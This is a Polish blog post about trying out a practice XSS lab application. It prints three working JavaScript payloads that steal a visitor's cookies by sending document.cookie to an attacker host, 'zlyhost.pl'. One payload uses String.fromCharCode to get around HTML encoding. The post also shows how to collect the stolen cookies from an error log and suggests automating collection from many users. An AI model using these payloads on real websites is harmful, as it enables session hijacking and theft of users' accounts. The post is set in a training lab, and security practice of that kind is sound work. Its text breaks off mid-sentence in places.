Na stronie http://bootcamp.threats.pl/lesson09/index.php zalazłem aplikację umożliwiającą zabawę z XSS. Umożliwia ona użycie trzech form kodowania tekstu wprowadzonego w polu tekstowym. Pierwszy, najbardziej oczywisty znaczy brak zabezpieczeń. Więc na przykład taki kod umożliwia kradzież danych z cookies :
document.write('<img src="http://zlyhost.pl/'+document.cookie+'" >')
Działa to tylko przy barku jakiegokolwiek zainteresowania kwestią zabezpieczeń ze strony programisty ( ale i takie przypadki się zdarzają). Jeśli jednak chcielibyśmy zastosować to samo przy funkcji encodeForHTML, to rezultaty nie byłyby zadowalające. Proponuje w zamian skorzystać z poniższego kodu :
'; document.write(String.fromCharCode(60) + 'img src=\'http://zlyhost.pl/'+document.cookie +'\'' + String.fromCharCode(62)); '
Zaznaczyć trzeba, że działa to tylko w specyficznych warunkach, to znaczy w tedy gdy tekst z pola trafia wprost do zmiennej JavaScriptu i nie są wyłapywane takie znaki jak ‘ . Jeśli kiedyś zdarzyłoby się, że można zastosować, podobny chwyt na jakiejś stronie to można (żeby ładniej i zgrabniej wyglądało) zrobić coś takiego :
'; document.getElementsByTagName('img')[0].src='http://zlyhost.pl/'+document.cookie; '
Na stronie, której się bawimy to nie podziała to nie podziała bo … nie ma na niej obrazków
Ogólnie jest to trudne do uświadczenia w obecnym internecie. Oczywiście to są moje przykłady wymyślone na poczekaniu. Osoby mądrzejsze ode mnie, który ‘siedzą’ w tym, na pewno mają tysiące innych bardziej zmyślnych sposobów na wysłanie ciasteczek i zrobienie innych nie przyjemnych dla użytkownika rzeczy. Wyniki naszych starań możemy zobaczyć sobie przeglądając error.log`a np tak :
tail -1 error.log
Co spowoduje wyświetlenie ostatniego wpisu. Przy większym zbieraniu ciasteczek od użytkowników przydał by się jakiś skrypt, który by to obsługiwał (mógłby nawet przeprowadzać atak
Cóż póki co pozostaje mi tylko polecić bloga Wampira , który obfituje w naprawdę wysokiej jakości notki. A tablicę znaczków ASCII do funkcji String.fromCharCode() można znaleźć na stronie http://www.arachnoid.com/javascript/ascii.html ( pamiętając że należy podać wartość dziesiętną, czyli tą po środku ;> )
P.S Web 3.0 – zrób to sam ;>
Stron:



